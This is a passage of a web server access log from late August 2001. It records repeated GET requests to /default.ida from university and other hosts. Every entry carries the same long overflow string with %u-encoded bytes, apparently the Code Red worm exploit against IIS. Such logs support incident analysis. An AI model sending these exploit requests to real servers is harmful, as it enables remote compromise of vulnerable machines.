  886. 20010829 23:13:19: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  887. 20010829 23:14:38: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  888. 20010829 23:57:17: dynamic-104-216.dyn.columbia.edu [128.59.104.216] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  889. 20010830 00:05:11: dynamic-104-216.dyn.columbia.edu [128.59.104.216] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  890. 20010830 00:14:46:  [202.105.91.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  891. 20010830 00:49:34:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  892. 20010830 00:51:41: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  893. 20010830 01:03:14: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  894. 20010830 01:10:16: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  895. 20010830 01:25:09: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  896. 20010830 01:41:35: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  897. 20010830 01:44:37: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  898. 20010830 02:06:40: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  899. 20010830 02:34:28: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  900. 20010830 03:16:02: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  901. 20010830 03:59:04: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  902. 20010830 04:11:17: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  903. 20010830 04:22:51: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  904. 20010830 04:24:41: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  905. 20010830 04:26:11:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  906. 20010830 04:43:38: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  907. 20010830 04:44:41: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  908. 20010830 04:54:07:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  909. 20010830 04:57:37: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  910. 20010830 05:09:44:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  911. 20010830 05:15:45: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  912. 20010830 05:42:49: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  913. 20010830 06:05:47: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  914. 20010830 06:38:08: YOGH            [61.141.GD.CN] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  915. 20010830 06:41:39: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  916. 20010830 06:46:20: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  917. 20010830 07:00:58: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  918. 20010830 07:22:03: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  919. 20010830 07:54:37: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  920. 20010830 08:20:14: scilla.poly.edu [128.238.42.9] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  921. 20010830 08:25:47: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  922. 20010830 08:38:36: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  923. 20010830 08:57:09: r62h47.res.gatech.edu [128.61.62.47] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
